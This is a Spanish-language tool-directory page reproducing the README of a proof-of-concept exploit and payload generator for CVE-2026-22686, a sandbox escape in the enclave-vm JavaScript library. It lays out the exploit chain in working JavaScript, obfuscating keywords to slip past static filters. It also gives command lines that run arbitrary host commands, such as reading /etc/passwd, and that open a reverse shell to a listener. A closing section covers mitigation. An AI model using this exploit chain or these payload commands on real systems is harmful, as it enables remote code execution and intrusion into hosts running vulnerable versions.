Skip to content
KitploitKITPLOIT
HerramientasBlog
Log in
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-22686-RemoteCodeExecution-RCE-PoC — Prueba de concepto de exploit y generador de payload para CVE-2026-22686, un escape de sandbox en enclave-vm <2.7.0 que permite ejecución de código arbitrario y reverse shells. | Kitploit
Herramientas/GitHubGitHub/moi404/cve-2026-22686-remotecodeexecution-rce-poc
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónPapers e InvestigaciónAprendizaje y EducaciónRed Teaming
GitHub
moi404/cve-2026-22686-remotecodeexecution-rce-poc

CVE-2026-22686-RemoteCodeExecution-RCE-PoC

Prueba de concepto de exploit y generador de payload para CVE-2026-22686, un escape de sandbox en enclave-vm <2.7.0 que permite ejecución de código arbitrario y reverse shells.

Ver Repositorio
27hace 20 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-22686 — PoC de escape de sandbox de enclave-vm

CVE CVSS enclave-vm Python License

Una prueba de concepto (PoC) de explotación y generador de payloads para CVE-2026-22686, una vulnerabilidad crítica de escape de sandbox en enclave-vm en versiones anteriores a 2.7.0, que permite la ejecución de código arbitrario dentro del runtime de Node.js del host.

⚠️ Aviso legal: Esta herramienta se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas. Su uso contra sistemas sin consentimiento previo por escrito es ilegal. El autor no asume ninguna responsabilidad por cualquier uso indebido.


📖 Tabla de contenidos

  • Descripción general
  • Detalles de la vulnerabilidad
  • Cómo funciona
  • Instalación
  • Uso
  • Anatomía del payload
  • Mitigación
  • Legal
  • Referencias
  • Autor
  • Licencia

🔍 Descripción general

enclave-vm es una librería de sandboxing de JavaScript diseñada para ejecutar de forma segura código no confiable dentro de un entorno controlado. En versiones < 2.7.0, un fallo en la forma en que los objetos de error del lado del host se exponen al sandbox permite a un atacante recorrer la cadena de prototipos y alcanzar el constructor Function del host, escapando efectivamente del sandbox.

Este repositorio contiene:

  • Un generador de payloads que produce un payload JavaScript listo para pegar
  • Soporte para ejecución arbitraria de comandos en el host
  • Soporte para payloads de reverse shell
  • Una CLI interactiva bilingüe (francés / inglés)

🛡️ Detalles de la vulnerabilidad

CampoValor
CVE IDCVE-2026-22686
CVSS v3.110.0 (Crítico)
CWECWE-693 — Fallo del mecanismo de protección
Componenteenclave-vm
Afecta a< 2.7.0
Corregido en2.7.0
ImpactoEscape de sandbox → ejecución de código arbitrario (RCE)

Causa raíz

Cuando una llamada a herramienta dentro del sandbox falla, enclave-vm expone el objeto Error del lado del host de vuelta al código del sandbox. Debido a que este objeto de error conserva su cadena de prototipos original del entorno del host, un atacante puede recorrer la cadena de la siguiente manera:

Error instance
   └── Error.prototype
        └── Error constructor
             └── Function constructor  ← host Function!

Una vez obtenido el constructor Function del host, el atacante puede compilar y ejecutar JavaScript arbitrario en el runtime del host — eludiendo por completo el sandbox.


⚙️ Cómo funciona

El exploit sigue estos pasos:

  1. Provocar un error del lado del host invocando una herramienta inexistente (callTool('NONEXISTENT', {})).
  2. Recuperar el objeto de error desde el sandbox (mantiene una referencia a la cadena de prototipos del host).
  3. Recorrer la cadena de prototipos para alcanzar Error.prototype.constructor.constructor, que es el Function del host.
  4. Compilar el payload del atacante usando el Function del host y ejecutarlo.
  5. El payload carga child_process y ejecuta un comando de shell arbitrario (o lanza una reverse shell).

Todas las palabras clave sensibles (constructor, __proto__, __lookupGetter__, prototype) están ofuscadas como códigos de caracteres ASCII para eludir filtros estáticos simples.


📦 Instalación

Sin dependencias externas — utiliza únicamente la librería estándar de Python.

git clone https://github.com/moi_404/CVE-2026-22686-PoC.git
cd CVE-2026-22686-PoC
chmod +x generator.py

Requisitos:

  • Python 3.8+

🚀 Uso

Modo interactivo

python3 generator.py

Se te pedirá que:

  1. Selecciones tu idioma (francés / inglés)
  2. Selecciones el tipo de payload (comando o reverse shell)
  3. Proporciones el comando / IP / puerto

Luego copia el payload generado y pégalo en la entrada del sandbox vulnerable.

Ejecución de comandos

python3 generator.py -c "id"
python3 generator.py -c "cat /etc/passwd"
python3 generator.py -c "ls -la /home"

Reverse shell

Terminal 1 (atacante — listener):

nc -lvnp 4444

Terminal 2 (generador):

python3 generator.py --revshell 10.10.15.152 4444

Copia el payload resultante y pégalo en el sandbox. Deberías recibir una shell en la Terminal 1.

Salida de payload sin formato

python3 generator.py -c "id" --raw > payload.js
python3 generator.py --revshell 10.10.15.152 4444 --raw | xclip -selection clipboard

Opciones de la CLI

FlagDescripción
-c, --commandComando de shell a ejecutar
--revshell LHOST LPORTGenera un payload de reverse shell
--rawImprime solo el payload (sin banner, sin decoración)
--lang {fr,en}Fuerza el idioma de la interfaz
-h, --helpMuestra la ayuda y ejemplos

🔬 Anatomía del payload

1. Decodificador ASCII

const s = (...args) => String.fromCharCode(...args);

Un pequeño helper para decodificar arrays de códigos ASCII en tiempo de ejecución.

2. Palabras clave ofuscadas

const kCon    = s(99,111,110,115,116,114,117,99,116,111,114);   // "constructor"
const kProto  = s(95,95,112,114,111,116,111,95,95);              // "__proto__"
const kLookup = s(95,95,108,111,111,107,117,112,71,101,116,116,101,114,95,95);  // "__lookupGetter__"
const kPtype  = s(112,114,111,116,111,116,121,112,101);          // "prototype"

Evita filtros triviales basados en cadenas.

3. Cadena de explotación

const ObjectProto = Object[kPtype];
const lookup = ObjectProto[kLookup];
const getProtoNative = lookup.call(ObjectProto, kProto);

let hostError;
try {
    await callTool('NONEXISTENT', {});
} catch (e) {
    hostError = e;
}

const errProto = getProtoNative.call(hostError);
const HostFunc = errProto[kCon][kCon];   // Host's Function constructor
const result = HostFunc(payload)();      // Arbitrary code execution

El Function del host se utiliza entonces para ejecutar el comando del atacante mediante child_process.execSync().


🛡️ Mitigación

Para desarrolladores:

  • Actualiza enclave-vm a >= 2.7.0.
  • Audita tu árbol de dependencias regularmente (npm audit, Snyk, Dependabot).
  • Nunca expongas funcionalidades de ejecución en sandbox a entradas no confiables sin validación adicional.
  • Ejecuta código en sandbox en procesos aislados (p. ej. isolated-vm, gVisor, Firecracker).

Para usuarios / organizaciones:

  • Vigila la presencia de librerías de sandbox desactualizadas en producción.
  • Restringe el acceso de red saliente desde cualquier proceso que ejecute código de usuario.
  • Aplica el principio de mínimo privilegio: ejecuta los procesos de Node.js como no root.

Detección:

Descargar herramienta